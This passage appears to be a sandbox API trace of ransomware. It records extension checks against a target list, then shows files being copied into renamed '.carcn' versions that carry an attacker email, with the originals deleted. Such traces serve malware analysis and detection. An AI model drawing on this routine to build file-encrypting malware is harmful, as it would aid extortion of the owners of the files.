(lpString=".1cd") returned 4 [0161.909] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.909] lstrlenW (lpString=".jpg") returned 4 [0161.909] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.909] lstrlenW (lpString=".doc") returned 4 [0161.909] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.909] lstrlenW (lpString=".docx") returned 5 [0161.909] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.909] lstrlenW (lpString=".pdf") returned 4 [0161.909] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.909] lstrlenW (lpString=".xls") returned 4 [0161.909] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.909] lstrlenW (lpString=".xlsx") returned 5 [0161.909] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.909] lstrlenW (lpString=".ppt") returned 4 [0161.909] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.910] lstrlenW (lpString=".zip") returned 4 [0161.910] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.910] lstrlenW (lpString=".rar") returned 4 [0161.910] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.910] lstrlenW (lpString=".bz2") returned 4 [0161.910] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.910] lstrlenW (lpString=".7z") returned 3 [0161.910] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.910] lstrlenW (lpString=".dbf") returned 4 [0161.910] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.910] lstrlenW (lpString=".1cd") returned 4 [0161.910] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.910] lstrlenW (lpString=".jpg") returned 4 [0161.910] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.910] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.910] lstrlenW (lpString="UiInfo.xml") returned 10 [0161.910] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.911] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=39042) returned 1 [0161.911] CloseHandle (hObject=0x314) returned 1 [0161.911] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0161.911] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.911] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.911] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0161.935] GetLastError () returned 0x0 [0161.935] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x9882, lpOverlapped=0x0) returned 1 [0162.230] WriteFile (in: hFile=0x318, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x9890, lpOverlapped=0x0) returned 1 [0162.231] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.231] WriteFile (in: hFile=0x318, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xe8, lpOverlapped=0x0) returned 1 [0162.231] SetEndOfFile (hFile=0x318) returned 1 [0162.232] CloseHandle (hObject=0x318) returned 1 [0162.233] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.233] SetEndOfFile (hFile=0x314) returned 1 [0162.234] CloseHandle (hObject=0x314) returned 1 [0162.234] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.234] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0162.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.234] lstrlenW (lpString=".doc") returned 4 [0162.234] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.234] lstrlenW (lpString=".docx") returned 5 [0162.234] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.235] lstrlenW (lpString=".pdf") returned 4 [0162.235] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString=".xls") returned 4 [0162.235] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString=".xlsx") returned 5 [0162.235] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.235] lstrlenW (lpString=".ppt") returned 4 [0162.235] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.235] lstrlenW (lpString=".zip") returned 4 [0162.235] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.235] lstrlenW (lpString=".rar") returned 4 [0162.235] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString=".bz2") returned 4 [0162.235] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString=".7z") returned 3 [0162.235] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.235] lstrlenW (lpString=".dbf") returned 4 [0162.235] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.235] lstrlenW (lpString=".1cd") returned 4 [0162.235] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.235] lstrlenW (lpString=".jpg") returned 4 [0162.235] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.235] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.235] lstrlenW (lpString=".doc") returned 4 [0162.235] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString=".docx") returned 5 [0162.235] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.235] lstrlenW (lpString=".pdf") returned 4 [0162.235] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.235] lstrlenW (lpString=".xls") returned 4 [0162.236] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.236] lstrlenW (lpString=".xlsx") returned 5 [0162.236] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.236] lstrlenW (lpString=".ppt") returned 4 [0162.236] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.236] lstrlenW (lpString=".zip") returned 4 [0162.236] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.236] lstrlenW (lpString=".rar") returned 4 [0162.236] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.236] lstrlenW (lpString=".bz2") returned 4 [0162.236] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.236] lstrlenW (lpString=".7z") returned 3 [0162.236] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.236] lstrlenW (lpString=".dbf") returned 4 [0162.236] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.236] lstrlenW (lpString=".1cd") returned 4 [0162.236] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0162.236] lstrlenW (lpString=".jpg") returned 4 [0162.236] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.236] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0162.236] lstrlenW (lpString="UiInfo.xml") returned 10 [0162.236] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0162.237] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=39050) returned 1 [0162.237] CloseHandle (hObject=0x314) returned 1 [0162.237] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0162.237] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.237] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0162.237] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.237] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.237] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0162.240] GetLastError () returned 0x0 [0162.240] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x988a, lpOverlapped=0x0) returned 1 [0162.495] WriteFile (in: hFile=0x318, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x9890, lpOverlapped=0x0) returned 1 [0162.496] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.496] WriteFile (in: hFile=0x318, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xe8, lpOverlapped=0x0) returned 1 [0162.496] SetEndOfFile (hFile=0x318) returned 1 [0162.497] CloseHandle (hObject=0x318) returned 1 [0162.498] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.498] SetEndOfFile (hFile=0x314) returned 1 [0162.499] CloseHandle (hObject=0x314) returned 1 [0162.499] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.499] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0162.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.499] lstrlenW (lpString=".doc") returned 4 [0162.499] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.499] lstrlenW (lpString=".docx") returned 5 [0162.499] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.499] lstrlenW (lpString=".pdf") returned 4 [0162.499] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.499] lstrlenW (lpString=".xls") returned 4 [0162.499] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.499] lstrlenW (lpString=".xlsx") returned 5 [0162.499] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.500] lstrlenW (lpString=".ppt") returned 4 [0162.500] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.500] lstrlenW (lpString=".zip") returned 4 [0162.500] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.500] lstrlenW (lpString=".rar") returned 4 [0162.500] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString=".bz2") returned 4 [0162.500] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString=".7z") returned 3 [0162.500] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.500] lstrlenW (lpString=".dbf") returned 4 [0162.500] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.500] lstrlenW (lpString=".1cd") returned 4 [0162.500] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.500] lstrlenW (lpString=".jpg") returned 4 [0162.500] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.500] lstrlenW (lpString=".doc") returned 4 [0162.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString=".docx") returned 5 [0162.500] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0162.500] lstrlenW (lpString=".pdf") returned 4 [0162.500] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString=".xls") returned 4 [0162.500] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString=".xlsx") returned 5 [0162.500] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0162.500] lstrlenW (lpString=".ppt") returned 4 [0162.500] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0162.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.501] lstrlenW (lpString=".zip") returned 4 [0162.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0162.501] lstrlenW (lpString=".rar") returned 4 [0162.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0162.501] lstrlenW (lpString=".bz2") returned 4 [0162.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0162.501] lstrlenW (lpString=".7z") returned 3 [0162.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0162.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.501] lstrlenW (lpString=".dbf") returned 4 [0162.501] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0162.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.501] lstrlenW (lpString=".1cd") returned 4 [0162.501] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0162.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0162.501] lstrlenW (lpString=".jpg") returned 4 [0162.501] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0162.501] lstrcmpiW (lpString1=".bmp", lpString2=".carcn") returned -1 [0162.501] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0162.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0162.501] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=41080) returned 1 [0162.501] CloseHandle (hObject=0x314) returned 1 [0162.501] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0162.502] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.502] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0162.502] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.502] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.502] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0162.502] GetLastError () returned 0x0 [0162.502] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xa078, lpOverlapped=0x0) returned 1 [0162.609] WriteFile (in: hFile=0x318, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xa080, lpOverlapped=0x0) returned 1 [0162.611] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.611] WriteFile (in: hFile=0x318, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xf4, lpOverlapped=0x0) returned 1 [0162.611] SetEndOfFile (hFile=0x318) returned 1 [0162.611] CloseHandle (hObject=0x318) returned 1 [0162.612] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.612] SetEndOfFile (hFile=0x314) returned 1 [0162.615] CloseHandle (hObject=0x314) returned 1 [0162.615] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.615] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0162.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.616] lstrlenW (lpString=".doc") returned 4 [0162.616] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0162.616] lstrlenW (lpString=".docx") returned 5 [0162.616] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0162.616] lstrlenW (lpString=".pdf") returned 4 [0162.616] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0162.616] lstrlenW (lpString=".xls") returned 4 [0162.616] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0162.616] lstrlenW (lpString=".xlsx") returned 5 [0162.616] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0162.616] lstrlenW (lpString=".ppt") returned 4 [0162.616] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0162.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.616] lstrlenW (lpString=".zip") returned 4 [0162.616] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0162.616] lstrlenW (lpString=".rar") returned 4 [0162.616] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0162.616] lstrlenW (lpString=".bz2") returned 4 [0162.616] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0162.616] lstrlenW (lpString=".7z") returned 3 [0162.616] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0162.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.616] lstrlenW (lpString=".dbf") returned 4 [0162.616] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0162.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.616] lstrlenW (lpString=".1cd") returned 4 [0162.616] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0162.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.616] lstrlenW (lpString=".jpg") returned 4 [0162.616] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0162.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.617] lstrlenW (lpString=".doc") returned 4 [0162.617] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0162.617] lstrlenW (lpString=".docx") returned 5 [0162.617] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0162.617] lstrlenW (lpString=".pdf") returned 4 [0162.617] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0162.617] lstrlenW (lpString=".xls") returned 4 [0162.617] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0162.617] lstrlenW (lpString=".xlsx") returned 5 [0162.617] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0162.617] lstrlenW (lpString=".ppt") returned 4 [0162.617] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0162.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.617] lstrlenW (lpString=".zip") returned 4 [0162.617] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0162.617] lstrlenW (lpString=".rar") returned 4 [0162.617] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0162.617] lstrlenW (lpString=".bz2") returned 4 [0162.617] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0162.617] lstrlenW (lpString=".7z") returned 3 [0162.617] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0162.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.617] lstrlenW (lpString=".dbf") returned 4 [0162.617] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0162.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.617] lstrlenW (lpString=".1cd") returned 4 [0162.617] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0162.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0162.617] lstrlenW (lpString=".jpg") returned 4 [0162.617] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0162.618] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0162.618] lstrlenW (lpString="Strings.xml") returned 11 [0162.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0162.618] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=14084) returned 1 [0162.618] CloseHandle 